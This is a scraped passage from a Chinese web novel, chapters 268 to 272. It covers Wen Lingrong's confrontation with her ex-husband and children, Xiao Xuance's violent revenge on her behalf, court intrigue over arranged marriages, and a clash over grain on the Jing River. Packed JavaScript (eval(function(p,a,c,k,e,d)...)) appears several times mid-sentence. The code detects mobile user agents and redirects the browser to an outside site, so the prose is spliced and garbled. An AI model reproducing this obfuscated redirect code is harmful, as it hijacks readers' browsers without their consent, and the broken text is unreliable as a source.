温令容死死地盯着眼前的人,看他修长的指骨摘下面具,露出了剑眉星目的一张脸,轻轻地吸了口气,萧玄策是天道盟的主子,小囡囡是天道盟的少主,这事儿温令容知道,只是没想到萧玄策会出现在自己面前。 “温大小姐,还想要**灭口吗?”萧玄策似笑非笑的看着温令容。 温令容微微垂首:“萧公子能在这个时候出现在京城,还是在若桃刚从宫里回来之后就现身了,必定是为了护着温家的,是我没什么见识,误会萧公子了。” 这个女人! 萧玄策微微的眯起眼睛,眼前的人跟温令仪是一奶同胞,可不论是从容貌还是性格上,两个人之间都有着十分鲜明的不同,或许是嫡长女的缘故,比温令仪更沉稳,也更能屈能伸许多。 “之前怎么没听说过温家嫡长女呢?”萧玄策端起茶送到唇边,抿了一点儿,做出了洗耳恭听的姿态。 温令容淡淡的勾起唇角:“少小离家,方归家没多久,温家从来与世无争,行事低调,裴公子不知道有我这一号人也是寻常。” “也是。”萧玄策把茶盏放在桌子上,抬眸看温令容:“宫里的那个太监**。” 温令容看着萧玄策的眸子,这个男人说的太监应该是皇上身边新晋的太监总管魏怀吧。 思及此,温令容轻叹:“萧公子真是深不可测的人,竟能把人都安排到大夏皇帝身边,幸好是友非敌。” 萧玄策勾了勾唇角,他发现自己竟挺喜欢和眼前这个女人说话的,话不多,避重就轻还聪慧。 起身往外走,温令容送客。 到了门口,萧玄策停下脚步,回身差点儿和美防备的温令容撞个满怀儿,伸出手扶了温令容一下,待温令容站稳收回手:“放心,温家人没有归京之前,我会护着你们周全的。” “多谢裴公子。”温令容微微屈膝,再抬头眼前哪里还有萧玄策的影子,回身看到桌子上的修罗面具,走过去,伸出手拿起修罗面具,这个人为何来京城?护着温家不过是顺手的事,其人野心昭昭,看来大夏并不会因为边关大捷而安定下来啊…… 第268章 这是招惹了个什么人呢? 萧玄策回到天道盟。 南英过来听候吩咐。 “镇国公府大小姐的事,查一查。”萧玄策抬起手,发现自己竟把面具忘在了温令容的房间里,微微蹙眉,吩咐南英。 南英恭声:“是。” 天色渐晚,宫里有消息送出来,投缳自尽的魏怀掀不起任何风浪,倒是被提拔起来的人是曹忠,让萧玄策不悦的皱起眉头。 曹忠不是自己的人,是谁的人不确定,看来还得查一下。 “主子。”南英来到门外。 萧玄策嗯了一声,南英进门来:“温家大小姐的事查完了。” “说。”萧玄策放下手里的书,靠在软枕上闭目养神。 “温家大小姐及笄之后,温家为大小姐择了夫婿,傅家是个名不见经传的小商户,娶了温家大小姐后,举家搬离了京城。”南英说。 萧玄策理解温家的做法,说起来温家是少见的,疼惜女儿的人家,并不曾想要利用姻亲关系为家族讨任何好处,单就这一点,家风端正。 “这位大小姐在傅家是个温顺的性子,育有一儿一女,虽说嫁妆丰厚,但勤俭持家,若夫家有一个眼明心亮的人,这样的富贵闲散日子,过三代都是富足殷实的。”南英叹了口气:“只可惜,这小人得志便猖狂,那中山狼得知温家去了漠北,以为温家遭天家猜忌,便对这位大小姐露出獠牙,就连当初陪嫁的丫环也爬了床,怀了身孕,带去的婆子也都背主,教导两个孩子不敬母亲,更暗戳戳给温家大小姐下毒,险些毒杀了这位,到底是镇国公府养出来的姑娘,最后宁可下堂,净身出户离开了傅家,回到了温家。” 萧玄策眉心皱出来了川字:“那夫家姓甚名谁?” “温家大小姐的前夫叫陈承嗣,曾经中过秀才。”南英虽然心里狐疑主子怎么对温家大小姐的事这般用心,可主子做事自有主子的道理:“陈家三兄弟,陈承嗣是长子,还有陈承忠和陈承贤,陈家老爷子和老太太也都健在,大小姐的一双儿女,长子陈梁,女儿陈媛。” 萧玄策手指轻轻地点着桌面:“他们家的买卖不用做了,陈承嗣的腿打折,大小姐的嫁妆,铺子都一把火烧了,金银财宝散给百姓,房屋点了,背主的奴仆都杀了,挂在陈家正院。” “主子。”南英赶紧跪下了:“主子息怒,这件事万万不可,温家大小姐已全身而退,温家也未曾想要报仇,您若出手的话,只怕反倒让温家大小姐难做了。” 萧玄策扫了眼南英:“手底下人做事利索点儿。” “是。”南英知道不能再劝,只能下去吩咐人办事。 萧玄策眉头拧成了疙瘩,温家怎么把女儿都教的如此……,罢了,窝囊这两个字似乎不合适,毕竟温令仪做的事有着自己还查不出来的隐情,至于温令容,夫君和夫家不善,算遇人不淑,可奴欺主就不能忍,更不用说十月怀胎生养的一双儿女不孝了。 自己没让南英把那两个孩子一并处理掉,都是客气的。 太后、皇后同日出殡。 温府路祭。 若桃扮成温令仪的模样,率领府里上下跪在路边。 但凡在这条街上的人家,家家户户都是如此。 温令容跪在若桃身边,长长的队伍从镇国公府前走过去用了半个时辰。 好不容易队伍过去了,温令容扶着若桃起身,林嬷嬷带着碧桃和海棠收拾门前的祭品。 “温令容!你个毒妇!你当真以为我们都是傻子,猜不出是你的手段吗?” 这一声怒喝可炸开锅了,今日是太后和皇后出殡的日子,街上的人最多,这还不算,出殡的队伍没走出多远,这般大呼小叫简直是找死! 温令容停下脚步,缓缓转过身,看着一手牵着儿子陈梁,一手牵着女儿陈媛的陈承嗣,忍不住皱起眉头,这三个人像是钻了火堆似的,衣服破烂,脸上都是黑灰。 陈梁抬起手指着温令容:“贱妇!你以为你回到了温家就能得好?谁不知道你当初被温家硬塞给我爹的,还以为自己是什么嫡长大小姐呢?” “对,大哥你看她穿得多寒酸,竟是奴仆打扮!”陈媛咬牙切齿:“还敢杀了咱们的母亲!还把嬷嬷也都杀了!烧了咱们家的铺子,偷走了咱们的家当!这样的恶妇怎么不天打雷劈。” 温令容静静地看着眼前的三个人,这三个人可不是别人啊,一个是自己同床共枕了七年之久的丈夫,两个是自己十月怀胎生下来的孩子,而今站在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16104598|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己面前,一口一个贱妇,一口一个恶妇,还把那个贱婢当做母亲,这人世间还有比这个搞笑的事情吗? 低头看看自己今日的打扮,心里都庆幸,为了不惹人注目,自己只要露面都是奴仆打扮,可真是老天都帮自己呢。 “温家大小姐?” 路人这才注意看温令容,也不能怪京城的人不认得温令容,温家的两个女儿,一个深居简出,极少露面,一个大小就进山学医,他们见到的次数屈指可数。 就算不敢确定那仆从打扮的女人是不是温家大小姐,可这三个人说**,可是要掉脑袋的大事啊。 温令容缓缓地吸了口气,淡淡的开口问道:“请问,你们是不是认错人了?温府的人,从上到下都深居简出,从不出门,温府在漠北,还未曾班师回朝,你说的大小姐兴许在漠北吧。” “你还敢狡辩!”陈承嗣上前要抓温令容。 可他也真是倒霉,因为温令容身边站着的人不是温令仪,而是若桃! 若桃上前一步,众人都没看清楚怎么回事,陈承嗣就像是断线了的风筝一般飞了出去,摔在地上更,挣扎了几下都没起来。 嘴角有血迹,他指着温令容:“你们都看开,她就是温令容,跟我做了七年夫妻,就算是化成灰我也认得!?” “放屁!你什么身份?叫花子一般还敢攀附我们府里的姑娘!”林嬷嬷指着陈承嗣:“你也不撒泡尿照照自己,我们大小姐当年确实下嫁给了陈家,但陈家是殷实的家境,姑爷也是中过秀才的读书人!我们大小姐就算被吞了嫁妆,休妻下堂,也顾念着一双儿女是陈家血脉,留下了自己所有的嫁妆,给一双儿女做底气,你们这些乞丐是从哪里得了消息,登门来讹诈?” 林嬷嬷一番话,那是可信度很高的,毕竟现如今的镇国公府可不是从前了,平定了西凉,国之柱石啊,确实会招惹很多小人前来讹人。 若桃脸色一沉:“来人,把这几个人抓起来,送去顺天府!” 家丁立刻冲了出来,陈梁和陈媛吓得扭头就跑,丢下陈承嗣在地上动弹不得。 温令容抬头,恰巧看到对面二楼栏杆处站着的萧玄策,轻轻地叹了口气,这是招惹了什么人呢? 第269章 莫不如跟在下离开如何? 入夜,温令容坐在椅子上看账目,小妹手里的买卖极大,包括裴祈安的产业也在其中,这是在漠北小妹就交代的,下面做事的人,逢年过节该给的红利都不能懈怠了。 其实,从账目上也看得出来,小妹和裴祈安的往来是在很早以前。 身为温家嫡长女,她早早的嫁人,被家里人护得密不透风,可偏偏自己不争气,更是对娘家安排的婚事有过怨怼,唯有了解真相后,才知道自己多不应该。 想到自己亲人所遭受的苦楚,小妹承受的一切,温令容眼圈泛红。 “气哭了?”萧玄策从外面走进来,微微偏头看温令容。 温令容起身微微屈膝行礼:“萧公子深夜来访,于理不合。” “我的面具上次忘记带走了。”萧玄策坐在椅子上,抬眸看温令容。 温令容从架子上取下来锦盒,送到萧玄策手边的桌子上:“我已收好,请萧公子带回。” 萧玄策清了清嗓子:“是我做的。” “我知道。”温令容轻声。 萧玄策看着温令容:“你是不是怪我多管闲事了?其实,就算今日他们不出来,往后也会寻机会和镇国公府纠缠不清的,那样的人家惯会颠倒是非,死不要脸。” “萧公子是侠义心肠,我不敢怪罪。”温令容看得出来这人不会那么快离开,回身给倒茶,送茶过来时,坐在了旁边:“本想着他们能知轻重,过他们想要的日子就行,可今日见到他们,让我心寒更甚,都说虎毒不吃子,可这亲生的儿女却恨不得把我这个母亲生吞活剥了。” 萧玄策微微点头:“确实不容易,脓包是早晚要破的,若是等镇国公全家从漠北回来,皇上必定会封赏,到时这京城只怕温家风头无两,他们若再来使尽手段纠缠不休,该如何?” “到那时,我便离开温家,远走他乡。”温令容是早就想好了,只不过温家现在缺人手,她怎么可能独善其身? 萧玄策有心和温令容说个一劳永逸的法子,可温令容毕竟是母亲,哪里有狠心? 远走他乡? 不失一个好法子。 “温大小姐,莫不如跟在下离开如何?”萧玄策说。 温令容愣了一下,赶紧摇头:“萧公子说笑了。” 萧玄策抬起手摸了摸鼻梁,起身离开。 温令容虽然没想好去哪里,但跟萧玄策走?那是万万不能的,没有了西凉,萧玄策未曾建国,但他是西域三十六国的共主,会成为比西凉更让人寝食难安的邻居,温家别说兵权在手,就算是寻常百姓,也不能跟萧玄策过从甚密,这个道理她怎么能不知道? 萧玄策离开温府,带着人走进了一个偏僻的小院子里。 原本应该在顺天府的陈家父子,赫然被关押在在这里,门外守着的人恭敬地垂首:“主上。” “开门。”萧玄策吩咐道。 门打开,陈承嗣脸色灰败的坐在乱草上,陈梁和陈媛缩在一起,蹲在床上,木板床上什么都没有。 三个人看着带面具的萧玄策,都不敢说话,还是陈承嗣打量了萧玄策半天,才怯生生的问:“贵人可是要为温令容出头?” “嗯。”萧玄策点了点头。 陈承嗣突然笑了:“那个贱妇真是好手段,竟这么快就勾搭上了贵人,可贵人有所不知,贱妇最不识抬举,还跟家奴私通,哪里配得上贵人呢?” “杀你妾室,烧你宅院,断你买卖的人,是我。”萧玄策看着陈承嗣:“逼着你带着孩子来找温令容,也是我。” “啊?”陈承嗣吓得往墙角缩,惊恐的看着萧玄策:“你!你这是什么意思?” 萧玄策不屑的冷笑:“当然是为她出气,当然了,你们的表现很差劲,特别是你的一双儿女,狼心狗肺,对生母没有丝毫敬畏,杀了你们都算替天行道。” 陈承嗣赶紧跪下给萧玄策磕头:“贵人高抬贵手,我们走就是了,这辈子再也不见温令容,这两个孩子也跟温令容没有关系,求贵人放过我们。” 陈梁和陈媛也爬过来跪在地上给萧玄策磕头。 萧玄策垂眸看着这三个人,他真觉得陈承嗣瞎了狗眼,若是他能好好对待温令容,陈家别的不说,富是一定的。 偏偏,人心不足蛇吞象。 翻手,两枚铜钱在掌心,丝毫没有客气的打碎了陈承嗣的膝盖骨,起身往外走去。 陈承嗣杀猪一般的嚎叫几声,忍不住疼痛昏死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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裴祈安抬头看着永元帝:“天子门生众多,武科钦点的那几位,都可成为肱股之臣。” “若是,我赐婚罗政,让罗政驻守漠北呢?”永元帝说。 裴祈安心里起了火,面上不显:“皇上要把谁赐婚给罗政呢?” 第270章 昭告天下,传于后世子孙,怎么样? 永元帝低声:“自是温令仪,罗政当年求而不得,才会一怒从军,所求并非什么前程,而是温令仪,孤让他得偿所愿,岂不是成人之美?” 裴祈安压下心里的恨意:“皇上,若如此安排,还需要提前和温家、罗家透透口风,不管是温家还是罗家,若是有人不同意这门婚事,只怕下旨赐婚,反而会招来怨怼。” “那罗无咎如今在朝廷上只手遮天,孤十分不喜,奈何玉琢远在漠北,孤只能暂时忍耐,如今玉琢归京,罗无咎请辞也无妨。”永元帝心里一直憎恶罗无咎当初辞官,一走了之。 后来起复也是情势所迫,如今天家式微,颇有些奴欺主的窝囊,就等着裴祈安回来,自己要肃清朝堂呢。 裴祈安表情凝重:“请皇上安心,臣往罗府去一趟,试探虚实。” “好,玉琢真乃是孤的福星。”永元帝喜形于色。 裴祈安离开皇宫,直奔罗家。 罗家书房里,罗无咎看裴祈安满脸倦色,蹙眉:“都不能好好歇一歇吗?” “罗老大人在朝多年,当知皇上眼里,只有能做事的人和不能做事的人。”裴祈安端起茶盏:“如今躲到老大人这里,玉琢还真需要睡一觉才行。” 罗无咎送裴祈安到书房后面的内室里休息,自己则回到书房前屋看书。 一直到日落偏西,裴祈安才醒过来。 “皇上要赐婚。”裴祈安说。 罗无咎抬头看裴祈安:“真是当成了儿媳,都不如后宅妇道人家,赐婚给谁?” “赐婚罗政和温令仪。”裴祈安说:“随后让罗政镇守漠北,取代温家军,此举一箭双雕,拉拢罗政,逼温家放权。” 罗无咎被气的胡子乱颤,握着茶盏的手都哆嗦的不行,忍了又忍终是没忍住,破口大骂:“这昏君,是见不得大夏好了,看似年纪轻轻,原想大有可为,谁能想得到竟是个昏招频出的无能之辈!” “老大人息怒,还有呢。”裴祈安低声:“还要迎娶温令容,试图让温家动用药王谷的人为他治病,绵延子嗣。” 罗无咎硬生生被气笑了:“心中无治国之策,更无用人之能,反倒是对这些勾扯的事,思虑周全的很呐,玉琢,老朽斗胆问一句,你到底什么时候动手?” “令仪不忍百姓遭战祸,我想文取。”裴祈安说。 罗无咎点了点头,毕竟要把温令仪赐婚给罗政,就这一条,裴祈安都恨不得把永元帝**万段。 “文取啊。”罗无咎想了想,起身从架子上去了个匣子,送到裴祈安面前:“这里面是朝廷官员的名单,玉琢用得上,至于罗家,罗岳和老朽都会辞官,罗政手里的兵权不能放,如今还不到最后关头,罗家不能站在最前面。” 裴祈安明白罗无咎的意思,起身告退。 回宫复命太晚了,他直接回府,沐浴更衣,用了点儿饭,书房里点了灯,刚要打开名册,耳朵一动停下手,抬眸看着门口的方向:“萧兄竟也来了京城啊。” 萧玄策勾了勾嘴角,推开门大大方方的进来了,满脸堆笑:“摄政王可不好当,刚回来就忙成这般样子,要我说啊,玉琢不如跟我走,我也给你个摄政王当一当。” 裴祈安起身,请萧玄策落座,挑开小火炉里的银丝炭煮水烹茶:“萧兄来的挺早。” “倒是不晚。”萧玄策靠在软枕上:“怎么?听说永元帝想要赐婚,还想要让温家大小姐入宫啊。” 裴祈安微微蹙眉:“萧兄果然手段通天,这样的事竟也知道。” “倒也不是什么手段。”萧玄策笑眯眯的看着裴祈安:“赐婚这事儿我管不了,不过我可以帮温家大小姐脱身,如何?” 裴祈安确实想着怎么能让温令容逃过这一劫,毕竟入宫是死局,不是永元帝手段多高,而是永元帝有个不为人知的癖好,宫里经常会有小宫女失踪,永元帝有一个院子,房间里有各种刑具,是个暴虐狂徒,至于从什么时候开始的,裴祈安也知道,是从皇后得了皇子后,永元帝便日渐萎靡,难以孰伦,从而就成了人中恶鬼。 “有什么办法?”裴祈安问。 萧玄策清了清嗓子:“自然是我娶温家大小姐啊,并且是后位。” 裴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16113485|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祈安审视着萧玄策。 “我们已经结盟,若再成为连襟,那以后孩子们亲上加亲,保不齐就能长治久安,至于温家兵权,各为其主的道理我还是懂得的,若是你拿下大夏江山,咱们可以再以国君身份签订盟书,昭告天下,传于后世子孙,怎么样?”萧玄策说。 裴祈安摇了摇头:“不管是如今,还是以后,国家安宁从来都不能寄托在姻亲关系上,更不能压在一个弱质女流身上,萧兄,咱们之间是同盟,更是君子之交,若谈别的,都可以商量,唯独温家大小姐的婚事,不可。” 萧玄策耸了耸肩:“无妨,保不齐温家大小姐会心悦于我,到时候你可就阻拦不了了。” 裴祈安给萧玄策倒茶:“并非阻拦不了,而是不会阻拦。” 萧玄策喝了茶,告辞离开。 裴祈安叫来府里的管事,询问京中所发生的事,这才知道太后和皇后出殡那日,陈承嗣带着一双儿女大闹镇国公府的事。 “陈承嗣呢?”裴祈安动了杀心。 管家低声:“死在了一处宅子里,两条腿都断了,老奴发现的时候,差人秘密的运到了城外,掩埋在乱葬岗里了。” 裴祈安让管家退下,取出来名册和朱笔,所有在朝官员都看了一遍,合上名册的时候,已是半夜,和衣而卧躺下闭目养神。 镇国公府,沐白见到若桃,笑呵呵的拍了拍她的肩膀:“不错,挺像的。” “我可用心了。”若桃问:“姐姐什么时候回来?” “不会很快。”沐白看了眼温令容:“大小姐气色不好,可是有心事?” 温令容摇头:“并没有,这是挂念着家里人要长途跋涉。” “在下给大小姐请个脉吧。”沐白不放心。 温令容不好拒绝,伸出手让沐白给诊脉。 片刻,沐白收回手,看了看温令容,没言语,起身出门去见师父了。 “大姐姐,你病了吗?”若桃都看出沐白表情不对了,转过头看温令容。 温令容摇头:“没有啊,沐公子怎么神秘兮兮的?” 第271章 马四爷手里的刀可不是吃素的! 沐白去找天成子。 从梅山归来,天成子就住在了镇国公府中,不过深居简出,具体做什么无人知晓,甚至知道天成子在京城的人都寥寥无几。 “师父。”沐白进门跪下给天成子请安。 天成子看着沐白:“你们都回来了?” “没有,徒儿随着摄政王先一步到京,小师妹临盆产下一子,两个月后能到京城,师兄们都在温家军中救治伤兵。”沐白说。 天成子缓缓地吸了口气:“也好,等令仪回来,我们就回去药王谷,天下大势已定,我等要远离这些庙堂之人。” 沐白恭声:“是。” 天成子让沐白坐下来。 “师父,镇国公府的大小姐身体有异。”沐白说。 天成子扫了眼沐白:“你倒是长进了不少。” 沐白看着天成子:“难道师父早就知道?” “嗯。”天成子抬头看着门外,像是陷入了久远的回忆中,良久才说:“镇国公府有一女,血了解百毒,但只能救人却救不了自己,因其年幼,带回落霞山中学医术。” 沐白知道这是小师妹。 “还有一女,天生是习武奇才,若是男儿身,天下少有人能出其右,更是个不可多得的将帅之才,可镇国公府护不住这样的孩子,药王谷也护不住,所以从小就用药物压制其体内能自行运转的周天之力,并且早早的嫁人,惟愿其能平安顺遂一生。”天成子看沐白:“这边是温家大小姐。” 沐白目瞪口呆,他闻所未闻,甚至古籍中都不曾有过这样的记载:“天生任督二脉都开,可自行运转周天?” “是,并且是大周天。”天成子苦笑着摇了摇头:“这人世间啊,早就斩断了成仙路,若非如此,此女可修仙问道。” 沐白吞了吞口水:“那如今温家大小姐已二十有七,是不是错过了最好的时机?” 天成子摇头:“沐白啊,所谓的最好时机,那是给寻常人,有点儿慧根的人准备的,对于温家大小姐,哪里需要时机,只不过她不知罢了。” 沐白低声:“温家还真是挺神秘的。” “何止温家?”天成子叹了口气:“但凡能称之为世家的家族,都是有着各自传承的,若非家族底蕴深厚,郎家如何能得天下?气运啊,确实有啊。” 沐白转念一想:“师父,是不是您最近没有给温家大小姐用药压制,否则徒儿是不可能发现其身体有异的。” “为师老了,温家大小姐往后的路不好走,再压制下去,只怕会害了她,不过为师也不能告诉她,唯有等温家人想明白了,或者温家大小姐自己开悟。”天成子收回目光,低垂着眉眼:“药王谷,本是可以寻仙问道的风水宝地,奈何世间再无求仙问道人啊。” 沐白狠狠的心动了,压下这个想法,陪着师父喝茶,聊起来漠北和西凉,天成子沉默不语。 一直到日暮。 天成子突然说:“徒儿可知?世间每隔千年会有一次封神。” “啊?”沐白没想到师父竟再次提到了:“师父的意思是人间真的可以封神?” 天成子点头:“是可以的,只不过寻常百姓并不知晓,古往今来我们庙宇之中供奉的神佛都是人,百姓的念力是极能成就人的,罢了,为师今日的话,太多了。” 沐白感觉到师父和之前不同了,是心境不同了。 只是为何会这样却不得而知。 师徒二人今日的话,他也要埋在心底,世人尊儒,子不语,怪力乱神。 京城再次热闹起来,是因罗政率领大军班师回朝。 百姓倾巢而出,万人空巷,永元帝亲自到城门口为将士们接风洗尘,罗政率领麾下副将上殿受封。 得胜而归,永元帝昭告天下,久经苦难的百姓像是看到了阴暗的天空透出一束光般,期待着安居乐业的日子。 在年关临近的时候,裴祈安奉命往泾水河去。 这个时候,若说还有人日夜不停地在劳作,唯泾水河两岸的百姓。 食不果腹,忍受着阴寒的天气,开渠、筑堤,任劳任怨。 永元帝让裴祈安带来了嘉奖的圣旨,也只有圣旨而已。 “朝廷一毛不拔,真真是让人恶心。”沐白心里都是怨怼,这个时候圣旨有什么用?粮食才能让百姓活命,有力气才能干活。 裴祈安坐在马车里,低垂着眉眼不言语。 朝廷倒是想要给百姓粮食和银钱,那也要有啊,或者说,有是有的,只不过永元帝并不想给这些百姓,他认为筑堤、开渠,百姓就该自愿,毕竟真正受益的人是这些百姓。 “裴祈安,你去了也没用。”沐白说:“百姓会憎恶朝廷的。” 裴祈安抬头看着沐白:“我去收服那些占山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16113486|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为王的匪。” “原来是个幌子啊。”沐白气得破口大骂:“当百姓真是遭罪,像是砧板上的鱼肉,呵,太多人天真的以为那些高高在上的人,会对鱼肉有怜悯之心呢。” 裴祈安偏头看着外面的景儿,微微的蹙起眉头,如今别说那些占山为王的人了,就是眼前的沐白,只要时机合适都敢揭竿而起,说起来还真是很期待呢。 江南是福地,只不过永元帝自己不在乎罢了。 与此同时,泾水河两岸的百姓聚在一起,一个个都拿出来拼命的架势了,站在最前面的人穿着长衫,正是崔家年轻一代的嫡长子崔东昊。 他手里提着一把大**,文弱书生握着刀,颇有些违和,但他目光坚定。 对面,三十几个骑着高头大马的壮汉带着几百人,各个都拿着兵器,两方对峙起来。 “崔公子,我劝你识时务,我这些兄弟们不想伤人,只需要把粮食交出来,绝对立刻退走。”为首的壮汉扛着大刀,古铜色的脸,络腮胡子,披着兽皮露出壮硕的胸,每一块鼓鼓囊囊的肌肉都像是蕴含着使不完的力气似的。 崔东昊怒不可遏:“马四!你还有点儿良心吗?我们这些手无寸铁的百姓为何要开渠筑堤?不就是为了能有良田,能种粮食?朝廷不管我们,我们那点粮食都是各家各户凑的,你也要抢?” “抢怎么了?”马四嗤笑:“活都要活不下去了,怎么就不能抢了?我告诉你崔东昊,敬你是条汉子,给你三份薄面,若你敬酒不吃吃罚酒,我就让你知道知道,我马四爷手里的刀可不是吃素的!” “今天,除非从我尸体上踏过去,否则你一粒粮食也休想拿走!”崔东昊怒喝一声。 身后这些百姓举着镐头和铁叉,异口同声:“拼了!崔公子你闪开,我们这些人死就**,命贱!” 马四磨了磨牙,他手底下的人亲眼看到的,昨儿夜里泾水河上来了船队,十几艘船装着的都是粮食! “不给是吗?兄弟们!动手!”马四一夹马腹,直接奔着崔东昊就去了。 崔东昊咬紧牙关,寸步不退,握着刀的手在颤抖,可他眼底都开始红了,双眸充血的他恨透了这个世道! 突然,翎羽箭破风而来,马四胸口噗噗噗扎了三支翎羽箭! 崔东昊愕然的回头去看,就见一白衣老者率领着乌央乌央的人冲了过来…… 第272章 早就走上了不归路 须发皆白的白长鹤手里的弓箭再次拉开,奔跑的他再次对准了马四:“混账东西!再敢进一步,老夫绝不留情,灭你卧龙山!” 马四低头看着胸口的三支翎羽箭,都不在要害,勒住缰绳。 所有人都看着白长鹤,白长鹤带来的人把百姓护到身后,一个个都箭在弦上,对准了马四这些人。 马四把三支箭拔下来扔在地上,扯了布带把伤口勒紧,握着大刀的手青筋凸起,啐了一口:“老白头,你以为谁都要给你面子?你们漕帮就是朝廷的狗腿子!” “放肆!”白长鹤挡住了崔东昊:“你个欺软怕硬的混账东西,对这些百姓出手可一点儿不手软!也叫个人?” 马四突然大笑起来:“老白头!我之前不是百姓啊?我不是手无寸铁啊?我一家人饿死的,病死的,就剩我一个,绝户了!你跟我满口仁义道德是个屁!别以为我不知道,你是给摄政王做事!狗腿子!” 白长鹤被气的胡须乱颤:“就问你,退不退!” “给粮就退,我卧龙山上也有很多百姓,他们快饿**!”马四的眼神凶狠起来:“不然,你别手下留情,老子也绝不手软,脑袋掉了碗大一个疤!” 话音落下,马四身后的人突然发疯了一般往前冲,白长鹤断喝一声:“不要命也不能惯着!” 两方人马打在一处。 崔东昊抬头望天,做点儿事太难了,这样的朝廷还有救吗?马四固然可恨,可更可恨的是朝廷! 裴祈安从马车上下来,往前走了两步回头:“别**人。” 沐白嘴角一抽,这话真有水平,自己是不分敌我,只救命呗? 不过,沐白是挺佩服裴祈安的,这一身功夫太俊俏了。 裴祈安探出手,直接抓住了马四的手腕,暗劲儿让马四握不住大刀,武器脱手,马四知道不好了,想要拨转马头逃走,身体却不受控的栽下了马。 “都住手!”裴祈安气沉丹田,断喝一声:“凡百姓,有良籍,可按人口分粮!” 这话最好使,本来还都在拼命的人,立刻后退,两方再次对峙。 沐白可忙了,挨个给检查伤口,红伤药不要钱的往外撒,严重的当场包扎。 “摄政王。”白长鹤看到裴祈安,走过来:“这些粮食是温家大公子送给修筑堤坝工人的活命粮啊。” 裴祈安拱手一礼:“白帮主不要担心,随后会有更多的粮食送来。” “朝廷给粮了?”白长鹤又惊又喜。 裴祈安摇头:“是温家。” 这话,没有避讳任何人,马四盘腿坐在地上,沐白正给他包扎,听到这话啐了一口:“骗鬼啊,啊啊啊!疼!” 沐白冷声:“闭上你的狗嘴!温家边关守边疆,御外敌,你个混账东西就知道内斗,我也是温家人,咋?不服啊?” 马四看沐白。 沐白脸色一沉:“老子药王谷的人,是温家的怎么了?” “活爹,你松开我的伤口。”马四脸色苍白,沐白按着他伤口的手太用力,他承受不住。 沐白扫了眼马四,包扎好转身去找下一个病患了。 裴祈安转过身看着马四这帮人:“温家二小姐师承药王谷,药王谷的人出海刚归,带回来了大量的粮食,最先运送到泾河府是为了保证修筑堤坝的人能吃饱肚子,你们这样的粮食也抢,按律当诛!” 别人说这样的话,卧龙山的人会哈哈大笑,可面前的人是摄政王啊,他们笑不出来,不是怕按律当诛,因为摄政王就算不按律,也不算乱杀无辜。 裴祈安话锋一转:“但,熬过这个冬天就可以再次耕种了,你们这些人都是寻常百姓,都有妻儿老小,各自回家,等开春就可以分到粮种,到那个时候,何愁日子过不下去?” “你说得好听,秋后算账咋整?”马四拄着大刀站起来。 裴祈安微微蹙眉:“手上有人命的,都站在我的左手边,没有杀过人的站在我的右手边,不怕你们不承认,只要我查,你们做了啥都能查清楚!欺骗本王,本王会亲自灭其全家。” 所有卧龙山的人都看马四。 马四把心一横:“然后你要干啥?” “手上不干净的,戴罪立功,修筑堤坝,堤坝修成,免罪。”裴祈安说。 马四回头看着自己这些兄弟,颤巍巍的走到裴祈安跟前:“你明知道我的这些兄弟们没杀过人。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16123146|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “算是吧,但是你们抢了不少粮,作恶是有的。”裴祈安说。 马四咬牙:“对!好汉做事好汉当!我们也是被逼无奈要活着。” 裴祈安点头:“所以,恕罪可愿?” “给机会好好活?”马四不敢相信,朝廷的人不可信,之前还说去漠北帮温家镇守边关,给吃喝,能温饱呢,结果走到半路都饿回来了。 裴祈安抬起手拍了拍马四的肩膀:“我记得卧龙山是第一批往漠北去的,朝廷是朝廷,温家是温家。” 言外之意,马四懂得。 